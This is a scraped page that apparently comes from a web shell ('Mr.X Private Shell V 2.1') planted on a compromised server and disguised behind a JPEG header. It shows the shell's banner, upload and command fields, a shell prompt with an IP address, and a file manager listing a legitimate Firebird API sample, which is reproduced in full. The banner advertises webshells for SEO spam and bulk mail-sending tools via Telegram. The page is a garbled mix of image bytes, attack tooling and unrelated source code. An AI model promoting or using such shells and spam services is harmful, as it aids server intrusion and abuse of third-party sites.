����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
/*
 *	PROGRAM:	Object oriented API samples.
 *	MODULE:		13.null_pk.cpp
 *	DESCRIPTION:	Changing metadata, passed from DB engine, and using modified
 *					copy later. Useful for changing nullability or coercing datatype.
 *					In this sample we insert NULLs in all columns.
 *
 *					Example for the following interfaces:
 *					IMessageMetadata - describe input and output data format
 *					IMetadataBuilder - tool to modify/create metadata
 *
 * The contents of this file are subject to the Interbase Public
 * License Version 1.0 (the "License"); you may not use this file
 * except in compliance with the License. You may obtain a copy
 * of the License at http://www.Inprise.com/IPL.html
 *
 * Software distributed under the License is distributed on an
 * "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express
 * or implied. See the License for the specific language governing
 * rights and limitations under the License.
 *
 * The Original Code was created by Inprise Corporation
 * and its predecessors. Portions created by Inprise Corporation are
 * Copyright (C) Inprise Corporation.
 *
 * All Rights Reserved.
 * Contributor(s): ______________________________________.
 *					Alex Peshkov, 2013, 2020
 */

#include "ifaceExamples.h"

static IMaster* master = fb_get_master_interface();

int main()
{
	int rc = 0;

	// set default password if none specified in environment
	setenv("ISC_USER", "sysdba", 0);
	setenv("ISC_PASSWORD", "masterkey", 0);

	// status vector and main dispatcher
	ThrowStatusWrapper status(master->getStatus());
	IProvider* prov = master->getDispatcher();

	// declare pointers to required interfaces
	IAttachment* att = NULL;
	ITransaction* tra = NULL;

	// Interface executes prepared SQL statement
	IStatement* stmt = NULL;

	// Interfaces provides access to format of data in messages
	IMessageMetadata* meta = NULL;

	// Interface makes it possible to change format of data or define it yourself
	IMetadataBuilder* builder = NULL;

	const char* sqlStr =
	    "Insert into COUNTRY values(?, ?)";

	try
	{
		// attach employee db
		att = prov->attachDatabase(&status, "employee", 0, NULL);

		// start transaction
		tra = att->startTransaction(&status, 0, NULL);

		// prepare statement
		stmt = att->prepare(&status, tra, 0, sqlStr, SAMPLES_DIALECT, 0);

		// build metadata
		meta = stmt->getInputMetadata(&status);
		builder = meta->getBuilder(&status);

		// set nullability on fields
		for (unsigned n = 0; n < meta->getCount(&status); ++n)
		{
			unsigned t = meta->getType(&status, n);
			builder->setType(&status, n, t | 1);
		}

		// IMetadata should be ready
		meta->release();
		meta = NULL;
		meta = builder->getMetadata(&status);

		// no need in builder any more
		builder->release();
		builder = NULL;

		// allocate buffer on stack
		char buffer[256];
		unsigned len = meta->getMessageLength(&status);
		if (len > sizeof(buffer))
		{
			throw "Input message length too big - can't continue";
		}

		// all null
		for (unsigned n = 0; n < meta->getCount(&status); ++n)
		{
 			short* flag = (short*)&buffer[meta->getNullOffset(&status, n)];
	 		*flag = -1;
	 		// setting value for NULL field makes no sense - skip it
	 	}

		// this should throw - passing NULLs to not-NULL columns
		// can work only with something like before insert trigger
	    stmt->execute(&status, tra, meta, buffer, NULL, NULL);

		// close interfaces
		stmt->free(&status);
		stmt = NULL;

		meta->release();
		meta = NULL;

		tra->rollback(&status);
		tra = NULL;

		att->detach(&status);
		att = NULL;
	}
	catch (const FbException& error)
	{
		// handle error
		rc = 1;

		char buf[256];
		master->getUtilInterface()->formatStatus(buf, sizeof(buf), error.getStatus());
		fprintf(stderr, "%s\n", buf);
	}

	// release interfaces after error caught
	if (builder)
		builder->release();
	if (meta)
		meta->release();
	if (stmt)
		stmt->release();
	if (tra)
		tra->release();
	if (att)
		att->release();

	prov->release();
	status.dispose();

	return rc;
}


Filemanager

Name Type Size Permission Actions
01.create.cpp File 4.53 KB 0644
01.create.pas File 4.38 KB 0644
02.update.cpp File 5.59 KB 0644
03.select.cpp File 5.34 KB 0644
04.print_table.cpp File 6.04 KB 0644
05.user_metadata.cpp File 6.52 KB 0644
06.fb_message.cpp File 4.27 KB 0644
07.blob.cpp File 4.96 KB 0644
08.events.cpp File 4.35 KB 0644
09.service.cpp File 4.98 KB 0644
10.backup.cpp File 4.66 KB 0644
11.batch.cpp File 15.69 KB 0644
12.batch_isc.cpp File 8.28 KB 0644
13.null_pk.cpp File 3.9 KB 0644
14.restore.cpp File 4.32 KB 0644
ifaceExamples.h File 1.25 KB 0644